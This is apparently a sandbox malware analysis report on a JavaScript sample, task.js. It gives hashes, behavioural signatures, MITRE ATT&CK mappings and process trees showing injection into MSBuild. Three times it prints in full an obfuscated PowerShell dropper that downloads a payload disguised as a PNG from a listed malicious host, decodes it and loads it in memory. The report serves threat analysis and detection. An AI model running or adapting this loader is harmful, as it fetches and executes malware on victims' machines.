c92bf5e0c31662ae68e0cdaecd29782ec91b870bfc655c87bfa9c9d2aaa4e7a5

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/09/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
task.js
Size 287KB
Sample260904-ppqcdafe47
SHA256 c92bf5e0c31662ae68e0cdaecd29782ec91b870bfc655c87bfa9c9d2aaa4e7a5
MD5 e3af4ceefca62a6751b3bcab0a0a2b21
SHA1 8c0224ee2dadcd66e29f851bfeaf16affd2dc7a4
SHA512 b24bdf4e151f1b7950c2a9b674727661f2ee41da320b3a99ba7b0e705e0d2be70efd34a19a5f137c33d01a7ab486045a8d12f2d1a12bb8467b5f0fef1162d9d4
SSDEEP 768:1LkQb0DxQJ6Q8C8bzx9mJYoFzQ4Jv4oXrnTvZsh+lsFDTcBTitmDSABKn17XAwQo:ihT1ORjlETcBTitmDSABKn17Y5d7AlB
TLSH
T1CF544409C4AD1011E177B288171A416DCF5C8BB7444A574BBBBEC9E2CF6410F2DA7FAA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://archivoscrosoft.com/MSI.png
exe.dropper
http://archivoscrosoft.com/MSI.png

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1808	2320	powershell.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	2320	powershell.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1540	2320	powershell.exe	85

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4936	powershell.exe
7	1808	powershell.exe
8	1540	powershell.exe
9	4936	powershell.exe
18	1808	powershell.exe
19	1540	powershell.exe
20	1808	powershell.exe
23	1540	powershell.exe

.NET Reactor proctector 61 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/1124-43-0x00000000058F0000-0x0000000005958000-memory.dmp	net_reactor
behavioral1/memory/1124-49-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-59-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-159-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-157-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-155-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-153-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-151-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-149-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-145-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-143-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-141-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-139-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-137-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-135-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-131-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-129-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-127-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-125-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-123-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-121-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-119-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-115-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-111-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-109-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-107-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-105-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-103-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-102-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-99-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-97-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-95-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-93-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-91-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-89-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-87-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-85-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-81-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-79-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-77-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-75-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-74-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-69-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-67-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-65-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-57-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-55-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-53-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-51-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-47-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-147-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-133-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-117-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-113-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-83-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-71-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-63-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-61-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-45-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-44-0x00000000058F0000-0x000000000597D000-memory.dmp	net_reactor
behavioral1/memory/1124-591-0x0000000008030000-0x0000000008058000-memory.dmp	net_reactor

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe
1540	powershell.exe
1808	powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4936 set thread context of 1124	4936	powershell.exe	94
PID 1808 set thread context of 3960	1808	powershell.exe	106
PID 1540 set thread context of 4472	1540	powershell.exe	107
PID 1124 set thread context of 6088	1124	MSBuild.exe	100
PID 4472 set thread context of 5144	4472	MSBuild.exe	110
PID 3960 set thread context of 5232	3960	MSBuild.exe	111

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4936	powershell.exe
1808	powershell.exe
1540	powershell.exe
4936	powershell.exe
1808	powershell.exe
1540	powershell.exe
4936	powershell.exe
4936	powershell.exe
1124	MSBuild.exe
1124	MSBuild.exe
1124	MSBuild.exe
1124	MSBuild.exe
1124	MSBuild.exe
1808	powershell.exe
1808	powershell.exe
3960	MSBuild.exe
3960	MSBuild.exe
4472	MSBuild.exe
4472	MSBuild.exe
3960	MSBuild.exe
4472	MSBuild.exe
3960	MSBuild.exe
3960	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	1124	MSBuild.exe
Token: SeDebugPrivilege	3960	MSBuild.exe
Token: SeDebugPrivilege	4472	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6088	AddInProcess32.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 1696	4936	powershell.exe	93
PID 4936 wrote to memory of 1124	4936	powershell.exe	94
PID 4936 wrote to memory of 1124	4936	powershell.exe	94
PID 4936 wrote to memory of 1124	4936	powershell.exe	94
PID 4936 wrote to memory of 1124	4936	powershell.exe	94
PID 4936 wrote to memory of 1124	4936	powershell.exe	94
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6032	1124	MSBuild.exe	99
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1124 wrote to memory of 6088	1124	MSBuild.exe	100
PID 1808 wrote to memory of 3796	1808	powershell.exe	105
PID 1808 wrote to memory of 3960	1808	powershell.exe	106
PID 1808 wrote to memory of 3960	1808	powershell.exe	106
PID 1808 wrote to memory of 3960	1808	powershell.exe	106
PID 1808 wrote to memory of 3960	1808	powershell.exe	106
PID 1808 wrote to memory of 3960	1808	powershell.exe	106
PID 1540 wrote to memory of 4472	1540	powershell.exe	107
PID 1540 wrote to memory of 4472	1540	powershell.exe	107
PID 1540 wrote to memory of 4472	1540	powershell.exe	107
PID 1540 wrote to memory of 4472	1540	powershell.exe	107
PID 1540 wrote to memory of 4472	1540	powershell.exe	107
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 3960 wrote to memory of 2932	3960	MSBuild.exe	109
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 4472 wrote to memory of 5144	4472	MSBuild.exe	110
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111
PID 3960 wrote to memory of 5232	3960	MSBuild.exe	111

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\task.js
1⤵
PID:4676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:3796
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:2932
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:5232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:1696
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:6032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:6088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:5144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

